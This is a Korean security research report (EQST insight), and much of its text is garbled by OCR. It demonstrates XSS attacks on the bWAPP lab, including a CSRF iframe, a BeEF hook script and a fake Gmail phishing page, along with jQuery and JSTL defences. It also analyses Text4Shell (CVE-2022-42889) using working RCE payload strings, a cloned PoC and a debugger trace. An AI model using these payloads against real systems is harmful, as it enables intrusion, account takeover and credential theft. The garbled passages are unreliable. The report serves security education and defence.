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Special Report
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XSS(Cross-Site Scripting) - @ 3}
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HEE alert 35 Tl XSS HoH A oARE Tost=d|, olelo|X confirm, prompt &
javascript @& AFEE & ot SFA|WE oA AF Aol IS0 tisiA ZEEo] AH8H
497t tiEEo]7] wjRo] dHA|A] &2 et £ AF8ote] BlackList Filter & $3|& 4+

E HebeA de A8 & gl 7=0] HEH, 94 AlE A wet A
7 e FEE0l udsit mEd e 34 FES Al HebeAo AIYE RS
FEgozi XSS A 7S Zdsior et
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— https://portswigger.net/web—security/cross—site—scripting/cheat—sheet
— https://github.com/RenwaX23/XSS—Payloads/blob/master/Payloads.txt
— https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

= [e)
9 QNS BHGl BTE AT Aol GWHold. AT AA BAS SATUE S
go) A} olmelA ghe AN s WELE Aotk E@, U ARIL olgsAY 34
nQ g2 AA AFsalel olF BelA WS HEAD & et

% o] Special Report & &ofl APE= A5 M E 455 A *1 2 HbWAPP T_ Ao A
235t bWAPP & ¢ FoFd A<50] 7ts
Kel
=

EQST insight | 14



A FHkdatol A
Case 1) oratn|g ¥HZE + XSS
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73 LAt o] Il XSS ta% Od Ao szt A g vE 4 A,

o uetd WEE Fé B A8RC] AR ARl FRF T IHAIYES FYstel
AgAYe] AZ 28] HolHo] FFL ulHE oAl

flo

step 1) BAAE wetule WA S g AgAe Azt AR A2

At ALEShE AlE S8

Az= A=EE

b

AzH= i Azted A

EQST AH

HRE

step 2) SAA= AFEEHO| JavaScript & F4 A2lshe ATHE 4]

It MHESts AE S5

HzH= Azrzd

oln
A
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step 3) Stored XSS FeFgo=z
AzrEgol AdE AAHAIAHE L2 T4 A7t Faksto] A MEe] UEhuA] o, e

~AYETL FrE o] Fo] Fwo] et

Azt= AzEd AH

0 b

A ExgE Almdn FxoE

Case 2) It =& + XSS

Pz Esto] gt Aol
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step 1) PAATHEZE T svg LS Ao J=E

alert('Xss');

/ Unrestricted Fie uPIoacl /

Please upload an image:

| Browse... |[file.svg]

| Upload |

The image has been uploaded here.

localhost:82/images/fils

O [ localhost

@ localhost:82

EQST insight | 17



Case 3) CSRF(Cross Site Request Forgery)

CSRF &= AgA7} olmshr] e ¢S +qstes fuste 22408, Agae] U
B ST WS A Aol
3 1—6 /\ O]q

=

JEJ o

2 Stored XS5 FoFdel Gl AW FAASE WAL PYAIUES AHdstel At
A8 A ANTE SR BAA Stz AAYES BT s

°,
=

step 1) BAAE MAAE WA A AGEE setulg 85

L CSRE (Chanae Password) /

Change your password.

New password:
Re-type new password:

Change

[ The password has been changed!||
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step 2) FAAE Stored XSS FeFHo] EAste AlAEel FAATE AA

A gt B AE(eqst) =
MRS fESHE ATUE TR A

/ XSS - Stored (Blog) /

<iframe src="http://localhost:82/csrf 1.php?password new=eqst&password conf=eqst&
action=change” width=0=</iframe=

i
| Submit | Add: Show all: Delete: OJ
# Owner Date Entry
AAMZ =Hd 20t
1 B 2022-11-09
02:21:15

1—

step 3) FAA7} AT ANZE Qo A8 useD 2 2IUF AT} 23]

= Password Create User Set Security Level Reset Credits

B|Oﬁ I_oaou+

/ XSS - Stored ( B\og) /

Submit | Add: Show all: (J Delete: [J  Please enter some text...
# Owner Date Entry
2022-11-09
1 bee
02:21:15
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step 4) A= WA AIHETL FAS] ARF ARgAE 719 fAfER 2190 =71

Login:

user

Password:

Set the security level:

low v

Login |

[lnvalid credentials or user not activated!

sjo] ofAIsh Zo] XSS HFHL olgste] FA} At FAL sh AAYE TEL AU
CSRF 345k ST 4 SI0k CSRE At U4 5 AT WS E U AFd AAUZ 49 ol
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2 ZHYHT - BeEF

BeEF(The Browser Exploitation Framework)= ¥ EHz9A] $HS & IF HIE

XSS 9} Ak ot FAS Aol & 4 e ZddIeld AYYsLE Sof 1ids
, $7)& "9ot= JavaScript ot (hook.js)= ZHA|AL Qltt. wheEpa A

ZH419] TP F4x, Port 3¢} hook.js IR FAH AIHEE Tzt

1= /V\JE'
S, XSS 320 AR BeEF 2 Foll F40] ZPselA thrg 2Ae ¥ 4 vk

Ax] W2 ool URL B ZE|EsmlolA FHoE d=ste] A 4=

RL : https://beefproject.com/

|
oEl C

Fol] . $ apt—get install beef—xss

o
o
rlo
&
|
el
=)
el
B
g
@)
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|
H
[l
[J
ol
I
filjo
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o
rr
o4
n
1o,
>
>
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step 1) BeEF A<

You are using the
(Password must be di nt from “"beef")
Please type a rd for the

[F

unary opera

/ update Maxmind GeoIP database

BeEF service

resh your browser once it opens.

Web UI: http:/
Hook: <script
Example: <script

service - beef-xss
loaded (/Lib/systemd/system/beef-xss.service; disabled; vend
active (running) since Thu 2822-19-27 01:88:18 EDT; 5s ago

step 2) 3 AZE & A%t AAYEE Al we] 2

<script src="http://192.168.0.133:3000/hook. js"==/script> |

| Submit | Add: Show all: 0  Delete: [J  Ypur eniry was added to our blog!
AMZ =g 2t

# Owner Date Entry

2022-11-09
05:01:19

1 bee
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step 3) AW AR§AH(user)= FAATE

Create User

Set Securi+y Level

Reset

Credits

/ XSS - Stored (B\oa) /

Submit Add: Show all: (J Delete: [J Please enter some text...
# Owner Date Entry
2022-11-09
1 bee
05:01:19

step 4) L§F AL§7E PC7L B2 PC 9| BeEF o 2slo] chofat 34 7hs

A= FHszt PC ol 2 =19l shiE Hee

w4 AWt

Hooked Browsers
.4 ) Online Browsers

4 —localhost

@ A @ 7192168013

[_] Offline Browsers

Basic

Requester

Getting Started Logs
Details Logs Commands
Module Tree

Search

= T
[__JPhonegap (16)
4 () Social Engineering (24)
Text to Voice
Clickjacking
Clippy
Fake Flash Update
Fake Notification Bar
Fake Notification Bar (Chrg|
Fake Notification Bar (Firef
Fake Notification Bar (IE)
Lcamtuf Download
Pretty Theft
Replace Videos (Fake Plug!
Simple Hijacker

Spoof Address Bar (data U
TabNabbing
@ Edge WScript WSH Injectic
@ Fake Evernote Web Clippe

& Calce | aciDace

() Ready

Zombies

Proxy || XssRays | Network

Module Results History

id « date label

0 2022-11-09 00:03 command 1

Current Browser

Google Phishing

Description:

Id:

XSS hook URI:

Gmail logout
interval (ms):

Redirect delay
ms):

# BeEF 05.4.0 | Logout

This plugin uses an image tag to XSRF the logout button of Gmail.
Continuously the user is logged out of Gmail (eg. if he is logged in
in another tab). Additionally it will show the Google favicon and a
Gmail phishing page (although the URL is NOT the Gmail URL).

11

http://0.0.0.0:3000/demos/plain.html|

10000

1000
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step 5) DRF ARGAFe] PC sfdo] = HjY 219l stHoz WA

& Google Mail: Email from

O D localhost EN

Google Newto Goale M7

Google Mail
A Google approach to email. Sign in
Username

‘Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun.
After all, Google Mail has:

b’ Lots of space Password
Over 2757.272164 megabytes (and counting) of free storage.

Less spam
Keep unwanted messages out of your inbox. m Stay signed in

. Can't access your account?
Mobile access g

Get Google Mail on your mobile phone. Learn more

About Google Mail ~ New features!  Switch to Google Mail ~ Create an account

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

’ Take Google Mail to work with Google Apps for Business

Google Mail for Work ~ Terms & Privacy  Help
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jQuery 27

jQuery = JavaScript & 97 €8 4 J=F LotFE QEALA VHES] JavaScript 2Fo]| B E2,

Shte] JavaScript WL(js)= EAsHH o HdS Adste] ARERTE ohFet Hepea 1t
SIS A Y5t JavaScript ZEF FHEsH) 28T 4 k. DOM(Document Object Model)
Z2F o[HIE AHe Fo| &AYE IHHSH & 4 Atk Aol th

*jQuery & Abgote= W2 off 7Hx]7F QA9 CDN(Contents Delivery Network) & 5ol Hx 9]
Az glo] HTML 9] <head) ®iZ1e]l F7Fste] AR o Ut (https://releases.jquery.com/)

jQuery AHg Al MIAE 5 html(, .append) & AFEE 7% XSS o Fsfof gtty. HTML
Bl 12 Al o] B AA=E QIAISH] HATHE ANE A AT & 7] "Eolth

jQuery &7gollA o] XSS o thet g2 offel A5 Fof AAS] AT =+ Ut

— https://portswigger.net/web—security/cross—site—scripting/dom—based

= NAE S htmlO) HAE ARE A] HTML 81227} QIAE| o] alert &o] Zi= A& 2RI &
ATt
C @® jquery_htmljsp
localhost:80802] T A|X]|
Input XSS

Jiot
2

‘ <script=alert("X55")</script=

Output ($.htmi () )

<script>
$('form").on('submit’, function(e) {
e.preventDefault();
var ov = $(‘#test’).val();
$('#output-html').html(ov);
i

</script>
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jQuery o] StAT HAE ALE

JavaScript 2to]H2]2]Ql jQuery & AH&St] @8-S AR 7%, XSS o ¢HAgt wlAEE ARE-SHo
AL AFofiof gt html() WAEE AMSte] HTML ®lZ17F AdA oz A= HA o4l
A& HTML 9482hs o|AAlo|lm Aelote] HAER AYEHLEE ofgffe wAEE ARgofof
gt ol FAAE JAHAIHEE HYdE dvt IR dAs) AR & Z
PEE T 4 QUrh

XSS Off etXSt jQuery HIAE

text() ‘ .attr() ‘ .prop() ‘ val()
% attr()2] -9 href 42 o] &3slH XSS 2HE SHAFIA] ¢ro] Folsjof gict,

text() 2= AR Al HTML H{27F 22 iz 4= o] &9

A

rr
filo

ek
rO
ek
4
30,
AL

G ® fiquery_text.jsp
Input
| <script>alert(XSS')</script> || Submit |

Output ( $.text() )

| <script>alert('XSS') </script>|

<script>
$(‘form").on('submit’, function(e) {
e.preventDefault();
var ov = $('#test").val();
$('#output-text').text(ov);
b

</script>
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jQuery Ajax 2749l XSS

jQuery += $.ajax 5 ©]-&o}od X}Xﬂ o2 Ajax(Asynchronous JavaScript And XML)E
2lgettt, Ajax 2 JavaScript € XML olgsle] Zato]AAESL AH] 7Fo] dlo]EE H|%7)
FAlog Fuut= Qlojo|nt, AHEEE Eﬂ o|HE 7HAE EH Xﬁﬂ oz & M=yt ¢l
Zagt folgyt E¢& 4 Aok @ AW} HE7A FAlS Sl A AAIQ] BekeA o
XMLHttpRequest A4S o|-&s AA| #HolAE Mzl 3101 n] 17]9] dXnl REsl= v
AF85HH, Z|Zoll= Fetch API & AF83tct.

ru[o

7] WAeRE A HolAE EHE Ajax + XSS FAHC FHofolth. H|E7] WAloe=m
Hol2& B et golH JYATPET} AYATHH A8 B2 34 ZETL AR ZolA
it w2k ol o]8ste] XSS FAS St ARSAE AXEE ¢ AvteRE Az
=

214, sl =H 9 orelzel P9 T 4 9ok,

ig
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AR Qleizhat 2z WeRsAY Aoeks WES Fa) XSS & ddd 4 AT, HTML
B8 AHgshe Awe]l EAEAY of Aulrage
XSS BA0] Qg mAL @It BAEe nE gePshs AL T} Aot

whebd XSS - @712 BelA olopr|d Meltha elelw PYATYET AR SelA FAEA
FEE P etoluee], T B2 e YorT Telsfor Gk,

& E°] Spring TIAHNT A& Al Spring Security & ARESEAUW, JSP FAHo|A= JSTL
grolH 2] 5 Fall XSS FA] & 4 Ut oF Special Report o|A= JSTL & &l S=3k=
Aotz dAIE theEth A8 7Heet gl Het grolH el thgat A

JSTL oA 9] =3t A=

JSTL & A = 1 2to]lE ] (JavaServer Pages Standard Tag Library) 2 JSP ofA =z}
AHEE= HIIE ALE St golEues Aot ZE HYIto|oh, AREHo] Zidstil IEE
2A85HA B 5 Qo] kAol 1 dY, F4 BHE Sl felsith

JSTL o= Core, XML, Database 5 thFet el 17} £A5FA|, o]¥ Special Report o A]+&= JSP
A XSS FH g 4 U= Core zrolHelg]9] ciout B0 tizt W& thEHh Egh
escapeXml g5 F9 —E‘—}F—E—Z}% 24 = Egcte] AREAE =gt oo M AIHET
A= Fa6t] ges EH4S AT 5 ok

A3 8 A e T Zon], cout B A Al 918 He A4d mtetnlgnit B1g
™ 5t
o L
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step 1) JSTL gtolHejg] A% & mzAE°] /WEB-INF/lib A=z F713tt.
‘ AX| URL ‘ https://mvnrepository.com/artifact/javax.servlet/jstl

step 2) HIT1E A8 jsp Ho]A] Aol Core gto]Hejg|e} b AR Attt
Core BIO|EE{2] MA | <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
g ALE Mo <%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions” %>

step 3) -8 wEtA|E O] ciout HIIIE FAIRITH
‘ cout HAl ‘ <cout value="[EH2!]" escapeXml="[truelflase]"/>
¥ escapeXml &40l true & Z$7F 7|12 ZolH, E4EAF 22 I S Hh

gy Heb golBE A

olu] WtEojzl ] glo]Hag]el OWASP ESAPI, NAVER Lucy XSS Filter 5& Ag8h= Zo]
S8tk ST Y A WA AL Agslel sl rm 249 Sol 92 4 gloy
ARl FolsfloF gk E3F Lucy-XSS-Filter ¢ 7%, JSON o tigt 832 s 2] 97
mzofl o]t Holl folste] 2tolBeielE A-gsfof it

— OWASP ESAPI : https://github.com/ESAPI/esapi—java—legacy

— Lucy—XSS-Filter : https://github.com/naver/lucy—xss—servlet—filter

Fod He, ol ARSI A WIEA] FASH A ofBR=R it 4l HHE {5t
gtolH|2] o] 3% et wARdol =Rl His) AAskH x&EH g o] Esfof gttt

EQST insight | 29



A AR QEARl R AFH EEF AUt WER A9 FAA 99
PHAIUET} AHgA ZoI4 S et FoFS) XSS(Cross-Site Scripting)el sl Srobmgie,
TAATE YT HHAIRESL AR ZA BAte] A B S Wt AT 5 9L
setole Wx 53 22 9 HPH Eb 3 LAQYIE ol§T TR A FAo| sissltt.
E3 9 AolES] AT EO wet AH§F 5 gk

o

o

FRo| tfst E4EA WEHY oF 59
=
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Research & Technique

Text4Shell, Apache Commons Text
HARE 2 FA4H (CVE-2022-42889)

m Y e

4

20224 10 € 139 BAES AeotE Java 2F A4 go]H2 2|9l Apache Commons Text oA
AAFE AYPRCE)0] 7Hee FFH R TextdShell(CVE-2022-42889)0] WA=t o] FoFd-2
St StringSubstitutor Z2oflA AR, i S Y

|
w2l Ay 9 FAS "HYs
= wob mg] AHojR 2 WH4E AYAZI=H, oldf dns, url, script M4E Fl ool
Hgol7h d=Eld & ot o] A W 7} StringSubstitutor S 22| 7]E EZof EJE o] Ql7]
ool fAA B JAZEAF7} 0144 Ago] 7}55ke] CVSS 9.8 o7 Hrtw et

B Log4Shell 2} H|w

Text4Shell ¥+ Log4dShell 5% Java 7]§te] oZ 42 gglo]H e Z|o]H, replace '@—T—E )

TAATY 944 ZEE APeth= o] Hlsity. 12y LogdShell 9] 7% Log4

ZAgrH oFgar 4= QIA|E, Text4Shell & th2 HB71#Ql Ao ¢ ﬁﬁﬁ}r)r. %J‘?_Zﬂ
=+

L i f =
wol 543 A¢ e Ao

—
L3
IO‘N
_V.‘-L
T, op
=)

Has difd Wie g2 8T, ARgAe o4 @
ol Log4Shell Bt whg2lo] Wy T-oe A3 x7o] ZAHZtH A o8 + 3l
FoI7b "dgsity FAAE shodan & FollA4 Apache Commons Text &

HAT 4 7] wiEoll, Fefet WAl Apache Commons Text & ARSSHE ¢ e W
2-gafjoF qtrt.
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Text4Shell o] Ax]7] 9]

et

ERES]

et 2t

Mo

Text4Shell A3 =
1. Apache Commons Text 1.5~1.9 HZH AtE
2. StringSubstitutor API 7} AFEXIS| = §&

3. ALEX YE e 284 7I2_E FHolE EXE E7H ALE (createinterpolator &<, replace B )

E H

c

m <

ook
rir

AmEg)

2

B

CVE-2022-42889 of| #oFet A E o= o2 7t

S/W & FoF HH
Apache Commons- Text 1.5 ~19 HH
Java JDK 15 O] H7T

% JDK 15 o)A} ¥A-2 Nashron JavaScript §1710] A Q]]o] FAs}ct,
% Java EAA] o]l JEXL WS AHEE ¢ JDK ¢ w7 #AIglo] Apache Commons Text ¢ HH
sfelo] @ astet,

L 9l#l= Apache Commons Text 7} 7[E2ZH o2 WHro] glomg Apache Commons Text <]
HAS a2 or gRlsfof qirt

' Oj2] FolE A BSE AHBOHY| Tt B XpHSH LHE2 HAN &M BAoM CHECL
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=224 AlLg|2

CVE-2022-42889 2 o] &3t 37 Augel: thaa} g

infosec

(O #ord ey OECEI

Flofet MH

4

(2) CVE-2022-42889

)04

() ¥ F2 M= =3 . rh

(34 Auel el

Of
I
b2 .x
=)
e
=
Im
i)
U

@ BHRHE Textashello] okt cfarg A

@ BARIE CVE-2022-42889 |%4HS 01| MHOIA €2 FY M
® BAXE HEO/UY MX|, YIS Y WHYO| HE

@ BARIE Wejxt pCO| HOIH BAS, 52 HE U3 S 3 +
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0|8 qe
Ubuntu 20.04 LTS
(192.168.100.128)

| s <t
JDK 11 version
Apache Commons Text 1.9.0 version
Kali Linux 2022
4%t

(192.168.100.129)

m %A HAE
Step 1. PoC HIAE
HAEZ 9|3t PoC 7} AAH GitHub URL & th&at Zoh,

— URL : https://github.com/cxzero/ CVE-2022-42889—text4shell.git

1) git clone HHolS E3 CVE-2022-42889 PoC 7} A H git o] o ther2=

HAHO | $ sudo git clone https://github.com/cxzero/CVE-2022-42889-text4shell.git

:~$ sudo git clone https://github.com/cxzero/
[PoC the=2E]

flo
f
%
o)
=
[
N,

2) 422 d fgPdER 0|55} maven

$ cd CVE-2022-42889-text4shell
$ mvn clean package —DskipTests

$ cd CVE-2022-42889-textdshell/
$ mvn clean package -DskipTests

NARNING: An illegal reflective access operation has occurred

[maven W= Y]
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3) target HEFZ o]Fslo] A

rid
S
P
]
ne,
>
o

$ cd target
$ java -jar spring-boot-0.0.1-SNAPSHOT jar
: $ cd target/
$ 1s

$ java -jar spring-boot-0.0.1-SNAPSHOT. jar

[target/spring—boot—0.0.1-SNAPSHOT .jar]

4) FAAHkal)7h 2ol Al Ubuntw)l Al Textdshell & B3 94 7=(RCE) 4

HAIAE | “touch /tmp/EQST-Insight”
A | tmp CIAME2| 20| EQST-Insight 2t OtY M4sts HHOf
Ho|ZE http://192.168.100.128/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang
.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2FEQST-Insight%27)%7D

y Request to http://192.168.100.128:8080

Forward Drop Intercept is on Action Open Browser

Raw  Hex n =

1 ge?text=
%24%7| %3Ajavascript%3Ajava.lang.Runtime. getRuntime() . exec (%27touch%20%2F tmp%2FEQST - Insight%27)‘~’a7D| HTTP/1.1
2 Host: 8. . 128 6080

[Text4Shell Ho]|2E]

5) =)o (Ubuntu) AHAIA /unp Ztjo] 1kl 44 Sl

$ cd /tm
CEL P
$ls
:~$ cd /tmp/
$ 1s

config-err-Ts8nca
EQST-Insight

[EQST-Insight =& 34 3}Q1]
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Step 1. FFH 78

Text4Shell &

o 29 Ao AFREHYE Apache Commons Text gto]B#g] F HAEE o7
A & Q= StringSubstitutor —:LEH—/EOﬂ/ﬂ gttt s ZEias ARSARe] A= gro]l B4
Ao ‘oot EAE HIRE ARty ojnf ARSARS] 1F e HSSHA gfob FHekgh
2219 B H4E AREE 5 0101 ZokH o] "rAIGC)

infosec

[replace &-& 2AF H3t A2 #4 1H]

0ee FR G50l 223 15e ele Holn
4 7|S
Apache Commons Text 2| Ho|E ZAIE E7F AA&S MR5t=
createlnterpolator() N
e
| Ay U2 TIHe R EXES MUsts s 2 O$)HENH
r
eplace() Sxtg mrioz mEHSel HEry
InterpolatorStringLookup.Lookup() Prefix 2 Y X|St= Stringlookup SeiA =&

2 EY 2xge ¢ Heyolct
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Step 2. =2 H7to[RH?

2 B2 mzg#w] Adof9l Python, javascript SolA AF AMREE J|HoR FF
bolgE ol &got= HHolth. oE E°] Animal ol Hg] ‘Cat2 IdET H
${Animal}= FHstH ¥ FEEAE Flo] ZAL] E07t tiAlE o] EYE = WAlolth &,
${HTol 51 FAS ARGSHH oA ®gol P ol E¥EA Hoh. StringSubstitutor

e g 0|9} o] HAgTL,

22 Java 9] &g HIF oAjo|t},

const Animal =
console.log("I love| ${Animal}} " );

[java olA4l9] #AE B dA]

Apache Commons Text ¢ Ex4E BE7F2 ulg] AHoH g7
&5 5ol B FAIQ ${Prefix:Name} FH 2] HF F AL
o

=
gojg A4 Bzke] BEL TH5P] 93 MAoln], Name 2 4 golr.

Apache Common Text ©] #2tg BE7F @42 o33} g},

String str = "You have-> |${java:version}"|;
string rep = interp.replace(st;}/’

output: You have-> |Java version 19
String str = "You are->|${env:USER}"|;

tring rep = interp.replace

ubuntu

output: You are->

[Apache Commons Text 9|4 9] E3d B7F AA]
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AA 2 Apache Commons Text oA =A< Al
StringLookup ZUAE TEsjol @t ojn) SHAE TE5] G FEA
o] Key & % dns, url, script oAl FeFdo] drajeict,

52 Default StringlLookup S|4 BH7F E59] dXolr},

[Default Strings Lookup &=]

key Method since
base64Decoder base64DecoderStringLookup() 1.6
base64Encoder base64EncoderStringLookup() 1.6
const constStringLookup() 1.5
date dateStringLookup() 1.5
java envStringLookup() 1.3
dns dnsStringLookup() 1.8
url urlStringLookup() 1.5
script scriptStringLookup() 1.5

B w7kl ARE W] PEL e $EHoR AL 4 9lo], ojmd o= WA
H=r ghofl ARgste] THo= Hddstr] fis] ARSET. o= StringSubstitutor Z2{A~2] 1l
Aolxl Bad H7F % el DataStringlookup EE1AS 49 e 53| AMESH= dA|9] S
o]t
inf
OXEFS osec
250 il Edate 0 025]
StringSubstitutor S2A
nj2| Mels o . . .
XY E2H A U EnEsn s D:tae';terlagLookug TH @ DathtringLookup 232

|

O
20| &t =[2022-10-25|

[E4E HZF AA]
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Sk ahAol o A Al theat 2o,

A8 XHE "QE9| ERE ${date:2022-10-25}"2t Z0| &
A

—

5_5
rot
o

E L=
>
©
Q
(@)
>
(0]
(@)
@]
3
3
@]
=)
wv
_|

o @
—
10
Yl
10
ro
I:I
Ral
ne
|-|I
\J
>
o
mjo
—_1

Lookup E40|A Key = Date 2 HZZ|T Value £ 2022-10-25 2

=
FEoICE Key Of st , Default Stringlookup 2| 2% %

(5) DateStringLookup £l
1

6) "R=2| ER= 2022- H EICH
Step 3. F o &
FoFygo] Aot EAFE HIF 55921 dns, url, script & Prefix 2 AAStAl Name o] 42 ZEE
AFstd SAATE Yots FETF AHolA AdHn. o3 FE= AR dF 2 5ol
Y H7b2 ARk 29 oA AAF Eoltt Java 11 WA e oA A, script wAHE
H7ES 2835 o] I = AYPRCE) F40| 7t &4 FA5HA

private String interpolate(String input) {
final StringSubstitutor interpolator = StrlngSubstltutor createInterpolatorC
String out = interpolator. replace(lnput)
System.out.println(out);

return out;
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(case 1) AN &=

A% A2 EQST-Insight 2t A

d &39S a0 http://192.168.100.128/message?=EQST—
Insight & Hgal= A%, ot 522 AA E

QST-Insight 7} A4AH o2 S &= A-S &2t}

infosec
. € http://192.168.100.128/message?HEQST-Insight]|
. I —~ —
) L B—&
. o
AFEX} E-| MH

Print out: EQST-Insight
° Q g | private String interpolate(String input) {

e final StringSubstitutor interpolator =|String$u bstitutor.createl nterpolator{};|

9 String out =linterpolator.replace(input);|
System.out.println{out);
return out;

}

[EA4 B3t &9 &3 74 &2 FE

192.168.100.128

EQST-Insight

[EAE B A48 B8 &9 23
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A= vlE] dold script 2AE HIts E86l Hol2EE ALY tha2 script wAE

"Script: p{script:javascript:3 + 4}\nf

[script 22t BH7t J4]]

FFEH o= TextdShell o] Ho|2E+= thZ3} Zo] wh=o2| X9k, URL & &dliA AEst2= URL
Encoding & #-83t 5 H-&slof 2t

Text4Shell

Ho|2E ${script;javascript;java.lang.Runtime.getRuntime().exec('touch /tmp/EQST-Insight')}#

groF JEXL 192 A48T 499 7 Wol2Et bt 2t

JEXL 2% ${scriptJEXL:".getClass().forName('java.lang.Runtime’).getRuntime().exec(‘touch  /tmp/EQST-
Hg A Insight")}
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FAA7} wol2ES AHotA, AME replace #4E AFFh oln] P ol $HFHolRR
PAQ B FHo) $I00 lookup B4R M| ZES Akeict, AULL Zhol script o] EAH
s =z

F241Q1 ${scriptijavascript: g ollolBg “"E 7|FO72 Prefix & Name, HHo 3 719
dgog FEE FE2H FoA Prefix = script 2 Name 2 javascript 2 507131, o
BES mg HAste] 3 7] mE(script, javascript, B2 E&HTt o]% Key o ¥A|st=
ScriptStringLookup 2142 &5 $ZE519] ‘touch /tmp/EQST-Insight’ & o7} A=},

infosec

T
o http://192.168.100. 128,{message?:$']scriptfavascript:java.lang‘Runtime.getRuntime(}‘exec(‘touch ,I'EQST-Insight|']1
L
|; |- [ ]
.
— (- =]
;- | A
private string interpolate(String input) {

final StringSubstitutor interpolator = StringSubstitutor.createlnterpolator();

Bo

Of)
di
>

@ Printout:|process[pid-4498), exitValue=0|f

0 String out = interpolator.replace(input);

e System.out.printin{out);
1 ! return out;
I 1.Ho|RE HEF | } ’
| 2.replace g% 4y i
I 3. InterpolatorStringLookup g4 M4 | v
| 4.RCENY !
-

| Lookup :/ScriptStringLookup

©) Prefix : "Script]
| name: ["Javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/EQST-Insight’}" |

[Text4Shell & E83F script 2AHE H7F oF8]

@ 192.168.100.128:8080/message?text ~%24%7BscriptY%3Ajavascript¥b3Ajava.lanc

2 Host: 192.168.1007 Touod

§ 1s

config-err-tJRNkP
EQST-Insight

[Text4Shell & 94 AP FFo| 53 A}
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Step 4. FALH 2 FA

22 TextaShell Ho|ZES Y Lo AUty pHstel BAG B S 1
AL §4EY SES =ASHE TYoltt,

infosec

[Text4Shell & 974 ZEE 53

sk
=2
I-oll
e
olt
Fl‘l:‘
ool
+
i
lo
[ol
o
H1
1>
.‘9."4

"${script;javascript;java.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-
Insight")}"

A% | Windows O|A EQST-Insight 2t= LY S ddst= |HHHIE (RCE)

Ho|2E
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(A =] 553 75

Ry s
createlnterpolator() Apache 2| Commons-Text 2| H2|El ZAtY E7t AFES MRSt &
SHo=2 YHE US FEde T+
replace() oHob $UYENT EXAY HIe=z HHHStL Y e XY dHEZ
substitute &0 ME
) replace (O TEEES & T =AE B HA FES RIG $E
substitute() -
JECR XEE B
. HEH2 EXES getStringlookup()E S ==0M =3[5H7| 2ot
resloveVariable() N
2
getStringLookup() InterpolatorStringLookup E2iA2| Lookup E+E ZESH7| st &=
. " JIELRE Prefix @ Name 2 FESL Prefix & Key 2 H2I510]
InterpolatorStringLookup.Lookup() L el o
Key @ LX|S}= Stringlookup 222 =
StringLookup.Lookup( InterploatorStringLookup  Bt=0flAl  Z3|E Key 2 €X|5t= ZULE
ringLookup.Looku o =
J P P Default StringLookup =E0|A Z32|5t0] HAEE oA

oS 7 WA W A EAelt

1. replace &

$U eI =] HAAFSFAL, substitute

st

A
aT

replace(java.lang.String)

3
4
5 public class App {

6= public static void main(String[] args) {

import org.apache.commons.text.StringSubstitutor;

StringSubstitutor interpolator = StringSubstitutor. create/nterpolaton);

7
8
9

String out = interpo\atorireplace("${scr'\pt:javascn'pt:java.Iang.Runtime.getRuntime().exec('cmd /c type NUL > EQST*Insgiht')}");l

}
10 )

Name Value

., o this

|StringSubstitutor (id=26) |

> O source

| "${scriptjavascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL > EQST-Insgiht’)}" (id=27) |

» @ buf

TextStringBuilder (id=32)

[replace ¥t HHA

23]
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. BAE L] ZHolE At H, “$7E &Rlstal FE519 resolveVariable 4ol AEgth
e | substitute(org.apache.commons.text.TextStringBuilder, int, int)
= StringSubstituturlsubst]tut_etrextStringBuilder, int, int, List<String>) line: 1433
= StringSubstitutor substitute(TextStringBuilder, int, int) line: 1308
= StringSubstitutor.replace(String) line: 816
= App.main(String(]) line; &
ix}=Variables X 9g Breakpoints & Expressions
Name Value
» o this StringSubstitutor (id=26)
» @& builder TextStringBuilder (id=32)
@ offset ]
o [length 90 |
» @ priorVariables  Arraylist<E> (id=42)
. @ prefixMatcher  AbstractStringMatcher$ChararrayMatcher (id=36)
» @ suffixMatcher  AbstractStringMatcher$SCharMatcher (id=20)
o | escapeCh s |
» & varNameExpr |“scriptj iptjava.lang Runtime. i ¥ N T-1nsqi (id=51)
& endPos 90

[substitute g5 T 7 A}

)

2 Ag

S

3. getStringLookup() el A gh& ot InterpolatorStringLookup() =8

resloveVariable

StringSubstitutor|resolveVaﬁablﬁ(String, TextStringBuilder, int, int) line: 1063
StringSubstitutor.substitute(TextStringBuilder, int, int, List<String=) line: 1433
StringSubstitutor substitute(TextStringBuilder, int, int) line: 1308
StringSubstituter.replace(String) line: 816

App.main(String[]) line: 8

4

0 10E 00010000 | ok

protected String resolveVariable(final String variableName, final TextStringBuilder buf, final int startPos,
final int endPos) {
final StringLookup resolver =|getStringLookup();
if (resolver == null) {
return null;
}
return resolver.lookup(variableName);

}

(x)= Variables > @g Breakpoints &7 Expressions s R 8 <
Name Value
» o this StringSubstituter (id=26)
» @ variableName  "scriptjavascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL = EQST-Insgiht)" (id=51)
» @ buf TextStringBuilder (id=32)
@ startPos 0
@ endPos 90
> @ resolver | InterpolatorStringLookup (id=53) I

[resloveVariable g4 Ti¥|7] Ax}]
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b

"2 7)1ZF0 =2 Prefix, Name & U=t}

g

= | InterpolatorStringLookup.Lookup

linterpolatorStringLookup.lockup}String) line: 135
StringSubstitutor.resolveVariable(String, TextStringBuilder, int, int) line: 1067
StringSubstitutor substitute(TextStringBuilder, int, int, List<String>) line: 1433
StringSubstitutor.substitute(TextStringBuilder, int, int) line: 1308
StringSubstitutor.replace(String) line: 816

App.main(String[]) line: 8

(x)= Variables > | ®g Breakpoints &% Expressions sk E 8§ =
Name Value
s> a this InterpelaterStringlockup (id=53)
> @ var |"script:javascript:java.Iang_Runtime_getRuntimeo_exec(’cmd /c type NUL > EQST-Insgiht’)" |(id:51)
o prefixPos 6
| ® prefix "script” (id=68)
»| ® name "javascriptjava.lang.Runtime.getRuntime().exec('cmd /c type NUL = EQST-Insgiht')" (id=69)
@ lookup ScriptStringLookup (id=70)
© value null

[InterpolatorStringLookup &< ti¥7 Z3}]

5. script &= Prefix:Name:®g & 1] @Hlo]7] wzol] “"& 7]|E o R thA] At

g

4 | ScriptStringLookup#lookup

[ScriptStringLookup.lookup{String) line: 82
